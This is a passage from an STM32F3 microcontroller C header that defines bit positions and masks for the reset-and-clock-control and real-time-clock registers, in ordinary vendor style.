(0x00000000U) /*!< No clock */ #define RCC_BDCR_RTCSEL_LSE (0x00000100U) /*!< LSE oscillator clock used as RTC clock */ #define RCC_BDCR_RTCSEL_LSI (0x00000200U) /*!< LSI oscillator clock used as RTC clock */ #define RCC_BDCR_RTCSEL_HSE (0x00000300U) /*!< HSE oscillator clock divided by 32 used as RTC clock */ #define RCC_BDCR_RTCEN_Pos (15U) #define RCC_BDCR_RTCEN_Msk (0x1U << RCC_BDCR_RTCEN_Pos) /*!< 0x00008000 */ #define RCC_BDCR_RTCEN RCC_BDCR_RTCEN_Msk /*!< RTC clock enable */ #define RCC_BDCR_BDRST_Pos (16U) #define RCC_BDCR_BDRST_Msk (0x1U << RCC_BDCR_BDRST_Pos) /*!< 0x00010000 */ #define RCC_BDCR_BDRST RCC_BDCR_BDRST_Msk /*!< Backup domain software reset */ /******************** Bit definition for RCC_CSR register *******************/ #define RCC_CSR_LSION_Pos (0U) #define RCC_CSR_LSION_Msk (0x1U << RCC_CSR_LSION_Pos) /*!< 0x00000001 */ #define RCC_CSR_LSION RCC_CSR_LSION_Msk /*!< Internal Low Speed oscillator enable */ #define RCC_CSR_LSIRDY_Pos (1U) #define RCC_CSR_LSIRDY_Msk (0x1U << RCC_CSR_LSIRDY_Pos) /*!< 0x00000002 */ #define RCC_CSR_LSIRDY RCC_CSR_LSIRDY_Msk /*!< Internal Low Speed oscillator Ready */ #define RCC_CSR_V18PWRRSTF_Pos (23U) #define RCC_CSR_V18PWRRSTF_Msk (0x1U << RCC_CSR_V18PWRRSTF_Pos) /*!< 0x00800000 */ #define RCC_CSR_V18PWRRSTF RCC_CSR_V18PWRRSTF_Msk /*!< V1.8 power domain reset flag */ #define RCC_CSR_RMVF_Pos (24U) #define RCC_CSR_RMVF_Msk (0x1U << RCC_CSR_RMVF_Pos) /*!< 0x01000000 */ #define RCC_CSR_RMVF RCC_CSR_RMVF_Msk /*!< Remove reset flag */ #define RCC_CSR_OBLRSTF_Pos (25U) #define RCC_CSR_OBLRSTF_Msk (0x1U << RCC_CSR_OBLRSTF_Pos) /*!< 0x02000000 */ #define RCC_CSR_OBLRSTF RCC_CSR_OBLRSTF_Msk /*!< OBL reset flag */ #define RCC_CSR_PINRSTF_Pos (26U) #define RCC_CSR_PINRSTF_Msk (0x1U << RCC_CSR_PINRSTF_Pos) /*!< 0x04000000 */ #define RCC_CSR_PINRSTF RCC_CSR_PINRSTF_Msk /*!< PIN reset flag */ #define RCC_CSR_PORRSTF_Pos (27U) #define RCC_CSR_PORRSTF_Msk (0x1U << RCC_CSR_PORRSTF_Pos) /*!< 0x08000000 */ #define RCC_CSR_PORRSTF RCC_CSR_PORRSTF_Msk /*!< POR/PDR reset flag */ #define RCC_CSR_SFTRSTF_Pos (28U) #define RCC_CSR_SFTRSTF_Msk (0x1U << RCC_CSR_SFTRSTF_Pos) /*!< 0x10000000 */ #define RCC_CSR_SFTRSTF RCC_CSR_SFTRSTF_Msk /*!< Software Reset flag */ #define RCC_CSR_IWDGRSTF_Pos (29U) #define RCC_CSR_IWDGRSTF_Msk (0x1U << RCC_CSR_IWDGRSTF_Pos) /*!< 0x20000000 */ #define RCC_CSR_IWDGRSTF RCC_CSR_IWDGRSTF_Msk /*!< Independent Watchdog reset flag */ #define RCC_CSR_WWDGRSTF_Pos (30U) #define RCC_CSR_WWDGRSTF_Msk (0x1U << RCC_CSR_WWDGRSTF_Pos) /*!< 0x40000000 */ #define RCC_CSR_WWDGRSTF RCC_CSR_WWDGRSTF_Msk /*!< Window watchdog reset flag */ #define RCC_CSR_LPWRRSTF_Pos (31U) #define RCC_CSR_LPWRRSTF_Msk (0x1U << RCC_CSR_LPWRRSTF_Pos) /*!< 0x80000000 */ #define RCC_CSR_LPWRRSTF RCC_CSR_LPWRRSTF_Msk /*!< Low-Power reset flag */ /******************* Bit definition for RCC_AHBRSTR register ****************/ #define RCC_AHBRSTR_GPIOARST_Pos (17U) #define RCC_AHBRSTR_GPIOARST_Msk (0x1U << RCC_AHBRSTR_GPIOARST_Pos) /*!< 0x00020000 */ #define RCC_AHBRSTR_GPIOARST RCC_AHBRSTR_GPIOARST_Msk /*!< GPIOA reset */ #define RCC_AHBRSTR_GPIOBRST_Pos (18U) #define RCC_AHBRSTR_GPIOBRST_Msk (0x1U << RCC_AHBRSTR_GPIOBRST_Pos) /*!< 0x00040000 */ #define RCC_AHBRSTR_GPIOBRST RCC_AHBRSTR_GPIOBRST_Msk /*!< GPIOB reset */ #define RCC_AHBRSTR_GPIOCRST_Pos (19U) #define RCC_AHBRSTR_GPIOCRST_Msk (0x1U << RCC_AHBRSTR_GPIOCRST_Pos) /*!< 0x00080000 */ #define RCC_AHBRSTR_GPIOCRST RCC_AHBRSTR_GPIOCRST_Msk /*!< GPIOC reset */ #define RCC_AHBRSTR_GPIODRST_Pos (20U) #define RCC_AHBRSTR_GPIODRST_Msk (0x1U << RCC_AHBRSTR_GPIODRST_Pos) /*!< 0x00100000 */ #define RCC_AHBRSTR_GPIODRST RCC_AHBRSTR_GPIODRST_Msk /*!< GPIOD reset */ #define RCC_AHBRSTR_GPIOFRST_Pos (22U) #define RCC_AHBRSTR_GPIOFRST_Msk (0x1U << RCC_AHBRSTR_GPIOFRST_Pos) /*!< 0x00400000 */ #define RCC_AHBRSTR_GPIOFRST RCC_AHBRSTR_GPIOFRST_Msk /*!< GPIOF reset */ #define RCC_AHBRSTR_TSCRST_Pos (24U) #define RCC_AHBRSTR_TSCRST_Msk (0x1U << RCC_AHBRSTR_TSCRST_Pos) /*!< 0x01000000 */ #define RCC_AHBRSTR_TSCRST RCC_AHBRSTR_TSCRST_Msk /*!< TSC reset */ #define RCC_AHBRSTR_ADC12RST_Pos (28U) #define RCC_AHBRSTR_ADC12RST_Msk (0x1U << RCC_AHBRSTR_ADC12RST_Pos) /*!< 0x10000000 */ #define RCC_AHBRSTR_ADC12RST RCC_AHBRSTR_ADC12RST_Msk /*!< ADC1 & ADC2 reset */ /******************* Bit definition for RCC_CFGR2 register ******************/ /*!< PREDIV configuration */ #define RCC_CFGR2_PREDIV_Pos (0U) #define RCC_CFGR2_PREDIV_Msk (0xFU << RCC_CFGR2_PREDIV_Pos) /*!< 0x0000000F */ #define RCC_CFGR2_PREDIV RCC_CFGR2_PREDIV_Msk /*!< PREDIV[3:0] bits */ #define RCC_CFGR2_PREDIV_0 (0x1U << RCC_CFGR2_PREDIV_Pos) /*!< 0x00000001 */ #define RCC_CFGR2_PREDIV_1 (0x2U << RCC_CFGR2_PREDIV_Pos) /*!< 0x00000002 */ #define RCC_CFGR2_PREDIV_2 (0x4U << RCC_CFGR2_PREDIV_Pos) /*!< 0x00000004 */ #define RCC_CFGR2_PREDIV_3 (0x8U << RCC_CFGR2_PREDIV_Pos) /*!< 0x00000008 */ #define RCC_CFGR2_PREDIV_DIV1 (0x00000000U) /*!< PREDIV input clock not divided */ #define RCC_CFGR2_PREDIV_DIV2 (0x00000001U) /*!< PREDIV input clock divided by 2 */ #define RCC_CFGR2_PREDIV_DIV3 (0x00000002U) /*!< PREDIV input clock divided by 3 */ #define RCC_CFGR2_PREDIV_DIV4 (0x00000003U) /*!< PREDIV input clock divided by 4 */ #define RCC_CFGR2_PREDIV_DIV5 (0x00000004U) /*!< PREDIV input clock divided by 5 */ #define RCC_CFGR2_PREDIV_DIV6 (0x00000005U) /*!< PREDIV input clock divided by 6 */ #define RCC_CFGR2_PREDIV_DIV7 (0x00000006U) /*!< PREDIV input clock divided by 7 */ #define RCC_CFGR2_PREDIV_DIV8 (0x00000007U) /*!< PREDIV input clock divided by 8 */ #define RCC_CFGR2_PREDIV_DIV9 (0x00000008U) /*!< PREDIV input clock divided by 9 */ #define RCC_CFGR2_PREDIV_DIV10 (0x00000009U) /*!< PREDIV input clock divided by 10 */ #define RCC_CFGR2_PREDIV_DIV11 (0x0000000AU) /*!< PREDIV input clock divided by 11 */ #define RCC_CFGR2_PREDIV_DIV12 (0x0000000BU) /*!< PREDIV input clock divided by 12 */ #define RCC_CFGR2_PREDIV_DIV13 (0x0000000CU) /*!< PREDIV input clock divided by 13 */ #define RCC_CFGR2_PREDIV_DIV14 (0x0000000DU) /*!< PREDIV input clock divided by 14 */ #define RCC_CFGR2_PREDIV_DIV15 (0x0000000EU) /*!< PREDIV input clock divided by 15 */ #define RCC_CFGR2_PREDIV_DIV16 (0x0000000FU) /*!< PREDIV input clock divided by 16 */ /*!< ADCPRE12 configuration */ #define RCC_CFGR2_ADCPRE12_Pos (4U) #define RCC_CFGR2_ADCPRE12_Msk (0x1FU << RCC_CFGR2_ADCPRE12_Pos) /*!< 0x000001F0 */ #define RCC_CFGR2_ADCPRE12 RCC_CFGR2_ADCPRE12_Msk /*!< ADCPRE12[8:4] bits */ #define RCC_CFGR2_ADCPRE12_0 (0x01U << RCC_CFGR2_ADCPRE12_Pos) /*!< 0x00000010 */ #define RCC_CFGR2_ADCPRE12_1 (0x02U << RCC_CFGR2_ADCPRE12_Pos) /*!< 0x00000020 */ #define RCC_CFGR2_ADCPRE12_2 (0x04U << RCC_CFGR2_ADCPRE12_Pos) /*!< 0x00000040 */ #define RCC_CFGR2_ADCPRE12_3 (0x08U << RCC_CFGR2_ADCPRE12_Pos) /*!< 0x00000080 */ #define RCC_CFGR2_ADCPRE12_4 (0x10U << RCC_CFGR2_ADCPRE12_Pos) /*!< 0x00000100 */ #define RCC_CFGR2_ADCPRE12_NO (0x00000000U) /*!< ADC12 clock disabled, ADC12 can use AHB clock */ #define RCC_CFGR2_ADCPRE12_DIV1 (0x00000100U) /*!< ADC12 PLL clock divided by 1 */ #define RCC_CFGR2_ADCPRE12_DIV2 (0x00000110U) /*!< ADC12 PLL clock divided by 2 */ #define RCC_CFGR2_ADCPRE12_DIV4 (0x00000120U) /*!< ADC12 PLL clock divided by 4 */ #define RCC_CFGR2_ADCPRE12_DIV6 (0x00000130U) /*!< ADC12 PLL clock divided by 6 */ #define RCC_CFGR2_ADCPRE12_DIV8 (0x00000140U) /*!< ADC12 PLL clock divided by 8 */ #define RCC_CFGR2_ADCPRE12_DIV10 (0x00000150U) /*!< ADC12 PLL clock divided by 10 */ #define RCC_CFGR2_ADCPRE12_DIV12 (0x00000160U) /*!< ADC12 PLL clock divided by 12 */ #define RCC_CFGR2_ADCPRE12_DIV16 (0x00000170U) /*!< ADC12 PLL clock divided by 16 */ #define RCC_CFGR2_ADCPRE12_DIV32 (0x00000180U) /*!< ADC12 PLL clock divided by 32 */ #define RCC_CFGR2_ADCPRE12_DIV64 (0x00000190U) /*!< ADC12 PLL clock divided by 64 */ #define RCC_CFGR2_ADCPRE12_DIV128 (0x000001A0U) /*!< ADC12 PLL clock divided by 128 */ #define RCC_CFGR2_ADCPRE12_DIV256 (0x000001B0U) /*!< ADC12 PLL clock divided by 256 */ /******************* Bit definition for RCC_CFGR3 register ******************/ #define RCC_CFGR3_USART1SW_Pos (0U) #define RCC_CFGR3_USART1SW_Msk (0x3U << RCC_CFGR3_USART1SW_Pos) /*!< 0x00000003 */ #define RCC_CFGR3_USART1SW RCC_CFGR3_USART1SW_Msk /*!< USART1SW[1:0] bits */ #define RCC_CFGR3_USART1SW_0 (0x1U << RCC_CFGR3_USART1SW_Pos) /*!< 0x00000001 */ #define RCC_CFGR3_USART1SW_1 (0x2U << RCC_CFGR3_USART1SW_Pos) /*!< 0x00000002 */ #define RCC_CFGR3_USART1SW_PCLK1 (0x00000000U) /*!< PCLK1 clock used as USART1 clock source */ #define RCC_CFGR3_USART1SW_SYSCLK (0x00000001U) /*!< System clock selected as USART1 clock source */ #define RCC_CFGR3_USART1SW_LSE (0x00000002U) /*!< LSE oscillator clock used as USART1 clock source */ #define RCC_CFGR3_USART1SW_HSI (0x00000003U) /*!< HSI oscillator clock used as USART1 clock source */ /* Legacy defines */ #define RCC_CFGR3_USART1SW_PCLK RCC_CFGR3_USART1SW_PCLK1 #define RCC_CFGR3_I2CSW_Pos (4U) #define RCC_CFGR3_I2CSW_Msk (0x1U << RCC_CFGR3_I2CSW_Pos) /*!< 0x00000010 */ #define RCC_CFGR3_I2CSW RCC_CFGR3_I2CSW_Msk /*!< I2CSW bits */ #define RCC_CFGR3_I2C1SW_Pos (4U) #define RCC_CFGR3_I2C1SW_Msk (0x1U << RCC_CFGR3_I2C1SW_Pos) /*!< 0x00000010 */ #define RCC_CFGR3_I2C1SW RCC_CFGR3_I2C1SW_Msk /*!< I2C1SW bits */ #define RCC_CFGR3_I2C1SW_HSI (0x00000000U) /*!< HSI oscillator clock used as I2C1 clock source */ #define RCC_CFGR3_I2C1SW_SYSCLK_Pos (4U) #define RCC_CFGR3_I2C1SW_SYSCLK_Msk (0x1U << RCC_CFGR3_I2C1SW_SYSCLK_Pos) /*!< 0x00000010 */ #define RCC_CFGR3_I2C1SW_SYSCLK RCC_CFGR3_I2C1SW_SYSCLK_Msk /*!< System clock selected as I2C1 clock source */ #define RCC_CFGR3_TIMSW_Pos (8U) #define RCC_CFGR3_TIMSW_Msk (0x1U << RCC_CFGR3_TIMSW_Pos) /*!< 0x00000100 */ #define RCC_CFGR3_TIMSW RCC_CFGR3_TIMSW_Msk /*!< TIMSW bits */ #define RCC_CFGR3_TIM1SW_Pos (8U) #define RCC_CFGR3_TIM1SW_Msk (0x1U << RCC_CFGR3_TIM1SW_Pos) /*!< 0x00000100 */ #define RCC_CFGR3_TIM1SW RCC_CFGR3_TIM1SW_Msk /*!< TIM1SW bits */ #define RCC_CFGR3_TIM1SW_PCLK2 (0x00000000U) /*!< PCLK2 used as TIM1 clock source */ #define RCC_CFGR3_TIM1SW_PLL_Pos (8U) #define RCC_CFGR3_TIM1SW_PLL_Msk (0x1U << RCC_CFGR3_TIM1SW_PLL_Pos) /*!< 0x00000100 */ #define RCC_CFGR3_TIM1SW_PLL RCC_CFGR3_TIM1SW_PLL_Msk /*!< PLL clock used as TIM1 clock source */ /* Legacy defines */ #define RCC_CFGR3_TIM1SW_HCLK RCC_CFGR3_TIM1SW_PCLK2 /******************************************************************************/ /* */ /* Real-Time Clock (RTC) */ /* */ /******************************************************************************/ /* * @brief Specific device feature definitions (not present on all devices in the STM32F3 serie) */ #define RTC_TAMPER1_SUPPORT /*!< TAMPER 1 feature support */ #define RTC_TAMPER2_SUPPORT /*!< TAMPER 2 feature support */ #define RTC_BACKUP_SUPPORT /*!< BACKUP register feature support */ #define RTC_WAKEUP_SUPPORT /*!< WAKEUP feature support */ /******************** Bits definition for RTC_TR register *******************/ #define RTC_TR_PM_Pos (22U) #define RTC_TR_PM_Msk (0x1U << RTC_TR_PM_Pos) /*!< 0x00400000 */ #define RTC_TR_PM RTC_TR_PM_Msk #define RTC_TR_HT_Pos (20U) #define RTC_TR_HT_Msk (0x3U << RTC_TR_HT_Pos) /*!< 0x00300000 */ #define RTC_TR_HT RTC_TR_HT_Msk #define RTC_TR_HT_0 (0x1U << RTC_TR_HT_Pos) /*!< 0x00100000 */ #define RTC_TR_HT_1 (0x2U << RTC_TR_HT_Pos) /*!< 0x00200000 */ #define RTC_TR_HU_Pos (16U) #define RTC_TR_HU_Msk (0xFU << RTC_TR_HU_Pos) /*!< 0x000F0000 */ #define RTC_TR_HU RTC_TR_HU_Msk #define RTC_TR_HU_0 (0x1U << RTC_TR_HU_Pos) /*!< 0x00010000 */ #define RTC_TR_HU_1 (0x2U << RTC_TR_HU_Pos) /*!< 0x00020000 */ #define RTC_TR_HU_2 (0x4U << RTC_TR_HU_Pos) /*!< 0x00040000 */ #define RTC_TR_HU_3 (0x8U << RTC_TR_HU_Pos) /*!< 0x00080000 */ #define RTC_TR_MNT_Pos (12U) #define RTC_TR_MNT_Msk (0x7U << RTC_TR_MNT_Pos) /*!< 0x00007000 */ #define RTC_TR_MNT RTC_TR_MNT_Msk #define RTC_TR_MNT_0 (0x1U << RTC_TR_MNT_Pos) /*!< 0x00001000 */ #define RTC_TR_MNT_1 (0x2U << RTC_TR_MNT_Pos) /*!< 0x00002000 */ #define RTC_TR_MNT_2 (0x4U << RTC_TR_MNT_Pos) /*!< 0x00004000 */ #define RTC_TR_MNU_Pos (8U) #define RTC_TR_MNU_Msk (0xFU << RTC_TR_MNU_Pos) /*!< 0x00000F00 */ #define RTC_TR_MNU RTC_TR_MNU_Msk #define RTC_TR_MNU_0 (0x1U << RTC_TR_MNU_Pos) /*!< 0x00000100 */ #define RTC_TR_MNU_1 (0x2U << RTC_TR_MNU_Pos) /*!< 0x00000200 */ #define RTC_TR_MNU_2 (0x4U << RTC_TR_MNU_Pos) /*!< 0x00000400 */ #define RTC_TR_MNU_3 (0x8U << RTC_TR_MNU_Pos) /*!< 0x00000800 */ #define RTC_TR_ST_Pos (4U) #define RTC_TR_ST_Msk (0x7U << RTC_TR_ST_Pos) /*!< 0x00000070 */ #define RTC_TR_ST RTC_TR_ST_Msk #define RTC_TR_ST_0 (0x1U << RTC_TR_ST_Pos) /*!< 0x00000010 */ #define RTC_TR_ST_1 (0x2U << RTC_TR_ST_Pos) /*!< 0x00000020 */ #define RTC_TR_ST_2 (0x4U << RTC_TR_ST_Pos) /*!< 0x00000040 */ #define RTC_TR_SU_Pos (0U) #define RTC_TR_SU_Msk (0xFU << RTC_TR_SU_Pos) /*!< 0x0000000F */ #define RTC_TR_SU RTC_TR_SU_Msk #define RTC_TR_SU_0 (0x1U << RTC_TR_SU_Pos) /*!< 0x00000001 */ #define RTC_TR_SU_1 (0x2U << RTC_TR_SU_Pos) /*!< 0x00000002 */ #define RTC_TR_SU_2 (0x4U << RTC_TR_SU_Pos) /*!< 0x00000004 */ #define RTC_TR_SU_3 (0x8U << RTC_TR_SU_Pos) /*!< 0x00000008 */ /******************** Bits definition for RTC_DR register *******************/ #define RTC_DR_YT_Pos (20U) #define RTC_DR_YT_Msk (0xFU << RTC_DR_YT_Pos) /*!< 0x00F00000 */ #define RTC_DR_YT RTC_DR_YT_Msk #define RTC_DR_YT_0 (0x1U << RTC_DR_YT_Pos) /*!< 0x00100000 */ #define RTC_DR_YT_1 (0x2U << RTC_DR_YT_Pos) /*!< 0x00200000 */ #define RTC_DR_YT_2 (0x4U << RTC_DR_YT_Pos) /*!< 0x00400000 */ #define RTC_DR_YT_3 (0x8U << RTC_DR_YT_Pos) /*!< 0x00800000 */ #define RTC_DR_YU_Pos (16U) #define RTC_DR_YU_Msk (0xFU << RTC_DR_YU_Pos) /*!< 0x000F0000 */ #define RTC_DR_YU RTC_DR_YU_Msk #define RTC_DR_YU_0 (0x1U << RTC_DR_YU_Pos) /*!< 0x00010000 */ #define RTC_DR_YU_1 (0x2U << RTC_DR_YU_Pos) /*!< 0x00020000 */ #define RTC_DR_YU_2 (0x4U << RTC_DR_YU_Pos) /*!< 0x00040000 */ #define RTC_DR_YU_3 (0x8U << RTC_DR_YU_Pos) /*!< 0x00080000 */ #define RTC_DR_WDU_Pos (13U) #define RTC_DR_WDU_Msk (0x7U << RTC_DR_WDU_Pos) /*!< 0x0000E000 */ #define RTC_DR_WDU RTC_DR_WDU_Msk #define RTC_DR_WDU_0 (0x1U << RTC_DR_WDU_Pos) /*!< 0x00002000 */ #define RTC_DR_WDU_1 (0x2U << RTC_DR_WDU_Pos) /*!< 0x00004000 */ #define RTC_DR_WDU_2 (0x4U << RTC_DR_WDU_Pos) /*!< 0x00008000 */ #define RTC_DR_MT_Pos (12U) #define RTC_DR_MT_Msk (0x1U << RTC_DR_MT_Pos) /*!< 0x00001000 */ #define RTC_DR_MT RTC_DR_MT_Msk #define RTC_DR_MU_Pos (8U) #define RTC_DR_MU_Msk (0xFU << RTC_DR_MU_Pos) /*!< 0x00000F00 */ #define RTC_DR_MU RTC_DR_MU_Msk #define RTC_DR_MU_0 (0x1U << RTC_DR_MU_Pos) /*!< 0x00000100 */ #define RTC_DR_MU_1 (0x2U << RTC_DR_MU_Pos) /*!< 0x00000200 */ #define RTC_DR_MU_2 (0x4U << RTC_DR_MU_Pos) /*!< 0x00000400 */ #define RTC_DR_MU_3 (0x8U << RTC_DR_MU_Pos) /*!< 0x00000800 */ #define RTC_DR_DT_Pos (4U) #define RTC_DR_DT_Msk (0x3U << RTC_DR_DT_Pos) /*!< 0x00000030 */ #define RTC_DR_DT RTC_DR_DT_Msk #define RTC_DR_DT_0 (0x1U << RTC_DR_DT_Pos) /*!< 0x00000010 */ #define RTC_DR_DT_1 (0x2U << RTC_DR_DT_Pos) /*!< 0x00000020 */ #define RTC_DR_DU_Pos (0U) #define RTC_DR_DU_Msk (0xFU << RTC_DR_DU_Pos) /*!< 0x0000000F */ #define RTC_DR_DU RTC_DR_DU_Msk #define RTC_DR_DU_0 (0x1U << RTC_DR_DU_Pos) /*!< 0x00000001 */ #define RTC_DR_DU_1 (0x2U << RTC_DR_DU_Pos) /*!< 0x00000002 */ #define RTC_DR_DU_2 (0x4U << RTC_DR_DU_Pos) /*!< 0x00000004 */ #define RTC_DR_DU_3 (0x8U << RTC_DR_DU_Pos) /*!< 0x00000008 */ /******************** Bits definition for RTC_CR register *******************/ #define RTC_CR_COE_Pos (23U) #define RTC_CR_COE_Msk (0x1U << RTC_CR_COE_Pos) /*!< 0x00800000 */ #define RTC_CR_COE RTC_CR_COE_Msk #define RTC_CR_OSEL_Pos (21U) #define RTC_CR_OSEL_Msk (0x3U << RTC_CR_OSEL_Pos) /*!< 0x00600000 */ #define RTC_CR_OSEL RTC_CR_OSEL_Msk #define RTC_CR_OSEL_0 (0x1U << RTC_CR_OSEL_Pos) /*!< 0x00200000 */ #define RTC_CR_OSEL_1 (0x2U << RTC_CR_OSEL_Pos) /*!< 0x00400000 */ #define RTC_CR_POL_Pos (20U) #define RTC_CR_POL_Msk (0x1U << RTC_CR_POL_Pos) /*!< 0x00100000 */ #define RTC_CR_POL RTC_CR_POL_Msk #define RTC_CR_COSEL_Pos (19U) #define RTC_CR_COSEL_Msk (0x1U << RTC_CR_COSEL_Pos) /*!< 0x00080000 */ #define RTC_CR_COSEL RTC_CR_COSEL_Msk #define RTC_CR_BCK_Pos (18U) #define RTC_CR_BCK_Msk (0x1U << RTC_CR_BCK_Pos) /*!< 0x00040000 */ #define RTC_CR_BCK RTC_CR_BCK_Msk #define RTC_CR_SUB1H_Pos (17U) #define RTC_CR_SUB1H_Msk (0x1U << RTC_CR_SUB1H_Pos) /*!< 0x00020000 */ #define RTC_CR_SUB1H RTC_CR_SUB1H_Msk #define RTC_CR_ADD1H_Pos (16U) #define RTC_CR_ADD1H_Msk (0x1U << RTC_CR_ADD1H_Pos) /*!< 0x00010000 */ #define RTC_CR_ADD1H RTC_CR_ADD1H_Msk #define RTC_CR_TSIE_Pos (15U) #define RTC_CR_TSIE_Msk (0x1U << RTC_CR_TSIE_Pos) /*!< 0x00008000 */ #define RTC_CR_TSIE RTC_CR_TSIE_Msk #define RTC_CR_WUTIE_Pos (14U) #define RTC_CR_WUTIE_Msk (0x1U << RTC_CR_WUTIE_Pos) /*!< 0x00004000 */ #define RTC_CR_WUTIE RTC_CR_WUTIE_Msk #define RTC_CR_ALRBIE_Pos (13U) #define RTC_CR_ALRBIE_Msk (0x1U << RTC_CR_ALRBIE_Pos) /*!< 0x00002000 */ #define RTC_CR_ALRBIE RTC_CR_ALRBIE_Msk #define RTC_CR_ALRAIE_Pos (12U) #define RTC_CR_ALRAIE_Msk (0x1U << RTC_CR_ALRAIE_Pos) /*!< 0x00001000 */ #define RTC_CR_ALRAIE RTC_CR_ALRAIE_Msk #define RTC_CR_TSE_Pos (11U) #define RTC_CR_TSE_Msk (0x1U << RTC_CR_TSE_Pos) /*!< 0x00000800 */ #define RTC_CR_TSE RTC_CR_TSE_Msk #define RTC_CR_WUTE_Pos (10U) #define RTC_CR_WUTE_Msk (0x1U << RTC_CR_WUTE_Pos) /*!< 0x00000400 */ #define RTC_CR_WUTE RTC_CR_WUTE_Msk #define RTC_CR_ALRBE_Pos (9U) #define RTC_CR_ALRBE_Msk (0x1U << RTC_CR_ALRBE_Pos) /*!< 0x00000200 */ #define RTC_CR_ALRBE RTC_CR_ALRBE_Msk #define RTC_CR_ALRAE_Pos (8U) #define RTC_CR_ALRAE_Msk (0x1U << RTC_CR_ALRAE_Pos) /*!< 0x00000100 */ #define RTC_CR_ALRAE RTC_CR_ALRAE_Msk #define RTC_CR_FMT_Pos (6U) #define RTC_CR_FMT_Msk (0x1U << RTC_CR_FMT_Pos) /*!< 0x00000040 */ #define RTC_CR_FMT RTC_CR_FMT_Msk #define RTC_CR_BYPSHAD_Pos (5U) #define RTC_CR_BYPSHAD_Msk (0x1U << RTC_CR_BYPSHAD_Pos) /*!< 0x00000020 */ #define RTC_CR_BYPSHAD RTC_CR_BYPSHAD_Msk #define RTC_CR_REFCKON_Pos (4U) #define RTC_CR_REFCKON_Msk (0x1U << RTC_CR_REFCKON_Pos) /*!< 0x00000010 */ #define RTC_CR_REFCKON RTC_CR_REFCKON_Msk #define RTC_CR_TSEDGE_Pos (3U) #define RTC_CR_TSEDGE_Msk (0x1U << RTC_CR_TSEDGE_Pos) /*!< 0x00000008 */ #define RTC_CR_TSEDGE RTC_CR_TSEDGE_Msk #define RTC_CR_WUCKSEL_Pos (0U) #define RTC_CR_WUCKSEL_Msk (0x7U << RTC_CR_WUCKSEL_Pos) /*!< 0x00000007 */ #define RTC_CR_WUCKSEL RTC_CR_WUCKSEL_Msk #define RTC_CR_WUCKSEL_0 (0x1U << RTC_CR_WUCKSEL_Pos) /*!< 0x00000001 */ #define RTC_CR_WUCKSEL_1 (0x2U << RTC_CR_WUCKSEL_Pos) /*!< 0x00000002 */ #define RTC_CR_WUCKSEL_2 (0x4U << RTC_CR_WUCKSEL_Pos) /*!< 0x00000004 */ /******************** Bits definition for RTC_ISR register ******************/ #define RTC_ISR_RECALPF_Pos (16U) #define RTC_ISR_RECALPF_Msk (0x1U << RTC_ISR_RECALPF_Pos) /*!< 0x00010000 */ #define RTC_ISR_RECALPF RTC_ISR_RECALPF_Msk #define RTC_ISR_TAMP2F_Pos (14U) #define RTC_ISR_TAMP2F_Msk (0x1U << RTC_ISR_TAMP2F_Pos) /*!< 0x00004000 */ #define RTC_ISR_TAMP2F RTC_ISR_TAMP2F_Msk #define RTC_ISR_TAMP1F_Pos (13U) #define RTC_ISR_TAMP1F_Msk (0x1U << RTC_ISR_TAMP1F_Pos) /*!< 0x00002000 */ #define RTC_ISR_TAMP1F RTC_ISR_TAMP1F_Msk #define RTC_ISR_TSOVF_Pos (12U) #define RTC_ISR_TSOVF_Msk (0x1U << RTC_ISR_TSOVF_Pos) /*!< 0x00001000 */ #define RTC_ISR_TSOVF RTC_ISR_TSOVF_Msk #define RTC_ISR_TSF_Pos (11U) #define RTC_ISR_TSF_Msk (0x1U << RTC_ISR_TSF_Pos) /*!< 0x00000800 */ #define RTC_ISR_TSF RTC_ISR_TSF_Msk #define RTC_ISR_WUTF_Pos (10U) #define RTC_ISR_WUTF_Msk (0x1U << RTC_ISR_WUTF_Pos) /*!< 0x00000400 */ #define RTC_ISR_WUTF RTC_ISR_WUTF_Msk #define RTC_ISR_ALRBF_Pos (9U) #define RTC_ISR_ALRBF_Msk (0x1U << RTC_ISR_ALRBF_Pos) /*!< 0x00000200 */ #define RTC_ISR_ALRBF RTC_ISR_ALRBF_Msk #define RTC_ISR_ALRAF_Pos (8U) #define RTC_ISR_ALRAF_Msk (0x1U << RTC_ISR_ALRAF_Pos) /*!< 0x00000100 */ #define RTC_ISR_ALRAF RTC_ISR_ALRAF_Msk #define RTC_ISR_INIT_Pos (7U) #define RTC_ISR_INIT_Msk (0x1U << RTC_ISR_INIT_Pos) /*!< 0x00000080 */ #define RTC_ISR_INIT RTC_ISR_INIT_Msk #define RTC_ISR_INITF_Pos (6U) #define RTC_ISR_INITF_Msk (0x1U << RTC_ISR_INITF_Pos) /*!< 0x00000040 */ #define RTC_ISR_INITF RTC_ISR_INITF_Msk #define RTC_ISR_RSF_Pos (5U) #define RTC_ISR_RSF_Msk (0x1U << RTC_ISR_RSF_Pos) /*!< 0x00000020 */ #define RTC_ISR_RSF RTC_ISR_RSF_Msk #define RTC_ISR_INITS_Pos (4U) #define RTC_ISR_INITS_Msk (0x1U << RTC_ISR_INITS_Pos) /*!< 0x00000010 */ #define RTC_ISR_INITS RTC_ISR_INITS_Msk #define RTC_ISR_SHPF_Pos (3U) #define RTC_ISR_SHPF_Msk (0x1U << RTC_ISR_SHPF_Pos) /*!< 0x00000008 */ #define RTC_ISR_SHPF RTC_ISR_SHPF_Msk #define RTC_ISR_WUTWF_Pos (2U) #define RTC_ISR_WUTWF_Msk (0x1U << RTC_ISR_WUTWF_Pos) /*!< 0x00000004 */ #define RTC_ISR_WUTWF RTC_ISR_WUTWF_Msk #define RTC_ISR_ALRBWF_Pos (1U) #define RTC_ISR_ALRBWF_Msk (0x1U << RTC_ISR_ALRBWF_Pos) /*!< 0x00000002 */ #define RTC_ISR_ALRBWF RTC_ISR_ALRBWF_Msk #define RTC_ISR_ALRAWF_Pos (0U) #define RTC_ISR_ALRAWF_Msk (0x1U << RTC_ISR_ALRAWF_Pos) /*!< 0x00000001 */ #define RTC_ISR_ALRAWF RTC_ISR_ALRAWF_Msk /******************** Bits definition for RTC_PRER register *****************/ #define RTC_PRER_PREDIV_A_Pos (16U) #define RTC_PRER_PREDIV_A_Msk (0x7FU << RTC_PRER_PREDIV_A_Pos) /*!< 0x007F0000 */ #define RTC_PRER_PREDIV_A RTC_PRER_PREDIV_A_Msk #define RTC_PRER_PREDIV_S_Pos (0U) #define RTC_PRER_PREDIV_S_Msk (0x7FFFU << RTC_PRER_PREDIV_S_Pos) /*!< 0x00007FFF */ #define RTC_PRER_PREDIV_S RTC_PRER_PREDIV_S_Msk /******************** Bits definition for RTC_WUTR register 